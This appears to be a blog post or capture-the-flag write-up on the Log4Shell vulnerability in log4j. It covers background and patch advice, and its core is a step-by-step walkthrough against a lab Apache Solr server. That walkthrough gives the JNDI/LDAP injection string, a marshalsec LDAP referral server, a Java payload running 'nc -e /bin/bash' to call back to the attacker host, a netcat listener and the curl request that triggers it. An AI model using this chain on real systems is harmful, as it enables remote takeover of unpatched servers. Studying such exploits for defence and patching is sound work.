On December 9th 2021 a new unauthenticated remote code execution vulnerability was discovered in Java’s logging module “log4j”. The vulnerability earned a severity score of 10 which is the most critical. This vulnerability allows for trivial remote code execution by simply pasting a string of text into a chat box. How? The vulnerability is exploited via the way log4j handles log messages. By passing code into the application in places where the input is being logged by the log4j module the code can be invoked by leveraging the functionality of other modules ie: LDAP, JNDI. This makes it trivial to gain a reverse shell. The vulnerability affects millions of devices and software including the popular game Minecraft, Twitter, Apache, Apple, Steam, just to name a few… A full list can be found here:
https://github.com/YfryTchsGD/Log4jAttackSurface
The attack surface is massive and it is likely that this will continue to be found and exploited in the wild for years to come.
Additional links and info:
https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
https://log4shell.huntress.com/
https://www.youtube.com/watch?v=7qoPDq41xhQ
Proof Of Concept and Walkthrough
Discovery
sudo nmap -sV -p8983 10.10.77.138
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-21 23:08 EST
Nmap scan report for 10.10.77.138
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
8983/tcp open http Apache Solr
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.31 seconds
Vulnerable Version of Apache Solr 8.11.0
Testing for RCE
Setting up a listener and passing in the URL with our IP address we successfully receive a connection indicating that we have gained RCE
http://10.10.77.138:8983/solr/admin/cores?foo=$\{jndi:ldap://10.4.26.4:9999\}
Exploitation
Now that we have confirmed the vulnerability in order to get a full shell we need to stage what is called an “LDAP referral Server”. This will redirect the initial request to a location that contains a payload that will run on the target.
- Redirect victim to ldap referral Server
- LDAP Referral server then redirects the request to malicious payload
- Victim retrieves and executes the payload on their system
- We get a shell 🙂
Install the java builder Maven:
sudo apt install maven
Build the maven utility:
mvn clean package -DskipTests
Run the ldap referal server pointing to our exploit:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.4.26.4:8000/#Exploit"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
Create an Exploit.java file with this payload:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.4.26.4 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Compile with:
javac Exploit.java -source 8 -target 8
Stage the resulting Exploit.class file on http server.
http-server -p 8000
Setup netcat Listener
nc -lnvp 9999
Now we have an LDAP referrer ready to redirect the victim to the our staged java file which contains the code to connect to our net cat listener. All that needs to be done is execute and watch the magic as the chain of events unfolds and results in a reverse shell.
Launch the attack with:
Note how once everything is setup by the attacker the only thing needed to gain a shell is sending a GET request? This can also be pasted into in game chats or anywhere there the string is being logged. It does not even require the user to click the link… This is why this vulnerability is so powerful, potent and dangerous.
curl 'http://10.10.77.138:8983/solr/admin/cores?foo=$\{jndi:ldap://10.4.26.4:1389/Exploit\}'
Mitigation
Patches are being released frequently. For now the best thing to do is patch log4j to a version over 2.16.0 and continue to keep an eye on updates of this vulnerability. It is likely this will be around for many years to come and will be on checklists of white hats and black hats alike looking for quick wins.